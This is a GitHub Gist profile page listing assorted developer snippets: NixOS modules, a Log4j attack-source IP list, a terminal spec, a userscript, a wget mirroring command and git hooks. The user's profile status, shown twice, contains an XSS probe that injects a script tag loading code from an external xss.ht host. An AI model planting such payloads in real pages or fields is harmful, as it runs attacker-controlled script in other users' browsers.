Skip to content

Instantly share code, notes, and snippets.

Avatar
⚙️
Factorio - "><script src=https://sandro.xss.ht></script>

Sandro SuperSandro2000

⚙️
Factorio - "><script src=https://sandro.xss.ht></script>
View GitHub Profile
@mfenniak
mfenniak / detect-reboot-needed.nix
Created January 6, 2023 15:39
NixOS module that provides hourly notifications when a reboot is needed for a kernel, initrd, or kernel-module upgrade
View detect-reboot-needed.nix
{ pkgs, ... }:
let
readlink = "${pkgs.coreutils}/bin/readlink";
notify-send = "${pkgs.libnotify}/bin/notify-send";
in {
systemd.user.services.detect-reboot-for-upgrade = {
script = ''
set -eu -o pipefail
@gnremy
gnremy / CVE-2021-44228_IPs.csv
Last active April 26, 2023 07:01
CVE-2021-44228 Apache Log4j RCE Attempts Dec 20th 9:27PM ET
View CVE-2021-44228_IPs.csv
ip tag_name
162.155.56.106 Apache Log4j RCE Attempt
223.111.180.119 Apache Log4j RCE Attempt
213.142.150.93 Apache Log4j RCE Attempt
211.154.194.21 Apache Log4j RCE Attempt
210.6.176.90 Apache Log4j RCE Attempt
199.244.51.112 Apache Log4j RCE Attempt
199.101.171.39 Apache Log4j RCE Attempt
197.246.175.186 Apache Log4j RCE Attempt
196.196.150.38 Apache Log4j RCE Attempt
@christianparpart
christianparpart / terminal-synchronized-output.md
Last active March 4, 2023 10:16
Terminal Spec: Synchronized Output
View terminal-synchronized-output.md

Synchronized Output

Synchronized output is merely implementing the feature as inspired by iTerm2 synchronized output, except that it's not using the rare DCS but rather the well known SM ? and RM ?. iTerm2 has now also adopted to use the new syntax instead of using DCS.

Semantics

When rendering the screen of the terminal, the Emulator usually iterates through each visible grid cell and renders its current state. With applications updating the screen a at higher frequency this can cause tearing.

This mode attempts to mitigate that.

@cketti
cketti / youtube_preview.user.js
Created May 20, 2021 00:10
Element youtube preview fix (modified)
View youtube_preview.user.js
// ==UserScript==
// @name Element youtube preview
// @namespace http://tampermonkey.net/
// @version 0.3
// @description fix the embeds!!
// @author Cinnabar
// @author cketti
// @match https://app.element.io
// @match https://your.element.url.example
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
@danieldk
danieldk / update-cargo-hashes.txt
Last active October 1, 2021 20:02
Rough procedure for updating all cargoSha256/cargoHash
View update-cargo-hashes.txt
Rough procedure for updating cargo hashes. Warning: this still requires a lot
of manual work to cover all bases. Based on:
https://github.com/NixOS/nixpkgs/pull/112764/commits/2650d5d2b8c19844224f8b368887153e2f18fdae
# Invalidate all hashes
rg -l "cargoHash" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoHash = "..../cargoHash = "sha256-1234/g'
rg -l "cargoSha256" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoSha256 = "[^s].../cargoSha256 = "1234/g'
rg -l "cargoSha256" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoSha256 = "sha256-..../cargoSha256 = "sha256-1234/g'
@Konfekt
Konfekt / git-diff.md
Last active March 28, 2023 02:00
git diff common binary files
View git-diff.md
@SuperSandro2000
SuperSandro2000 / nix-installer-unstable.md
Created March 30, 2021 10:56
Upgrade nix installed with nix-installer to unstable
View nix-installer-unstable.md
  1. systemctl disable --now nix-daemon.service nix-daemon.socket
  2. nix-env -p /nix/var/nix/profiles/default/ --install nix-2.4pre20210317_8a5203d
  3. rm /etc/profile.d/nix.sh /etc/profile.d/nix-daemon.sh
  4. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix.sh /etc/profile.d/nix.sh
  5. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh /etc/profile.d/nix-daemon.sh
  6. systemctl link /nix/var/nix/profiles/default/lib/systemd/system/nix-daemon.{service,socket}
View Creating a static copy of a dynamic website.md

The command line, in short…

wget -k -K -E -r -l 10 -p -N -F --restrict-file-names=windows -nH http://website.com/

…and the options explained

  • -k : convert links to relative
  • -K : keep an original versions of files without the conversions made by wget
  • -E : rename html files to .html (if they don’t already have an htm(l) extension)
  • -r : recursive… of course we want to make a recursive copy
  • -l 10 : the maximum level of recursion. if you have a really big website you may need to put a higher number, but 10 levels should be enough.
@BuonOmo
BuonOmo / .gitconfig
Last active March 28, 2023 15:22
Git blame color scale from 20 month ago to now (https://stackoverflow.com/a/66250482/6320039)
View .gitconfig
[color "blame"]
highlightRecent = 234, 23 month ago, 235, 22 month ago, 236, 21 month ago, 237, 20 month ago, 238, 19 month ago, 239, 18 month ago, 240, 17 month ago, 241, 16 month ago, 242, 15 month ago, 243, 14 month ago, 244, 13 month ago, 245, 12 month ago, 246, 11 month ago, 247, 10 month ago, 248, 9 month ago, 249, 8 month ago, 250, 7 month ago, 251, 6 month ago, 252, 5 month ago, 253, 4 month ago, 254, 3 month ago, 231, 2 month ago, 230, 1 month ago, 229, 3 weeks ago, 228, 2 weeks ago, 227, 1 week ago, 226
[blame]
coloring = highlightRecent
date = human
@SuperSandro2000
SuperSandro2000 / prepare-commit-msg.sh
Last active August 5, 2022 13:10
prepare commit message for nixpkgs. put into .git/hooks/prepare-commit-msg
View prepare-commit-msg.sh
#!/usr/bin/env bash
# shellcheck disable=SC2034
COMMIT_MSG_FILE=$1 # file which contains the commmit message
# shellcheck disable=SC2034
COMMIT_SOURCE=$2 # eg commit
# shellcheck disable=SC2034
SHA1=$3 # eg head
perl -i -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE"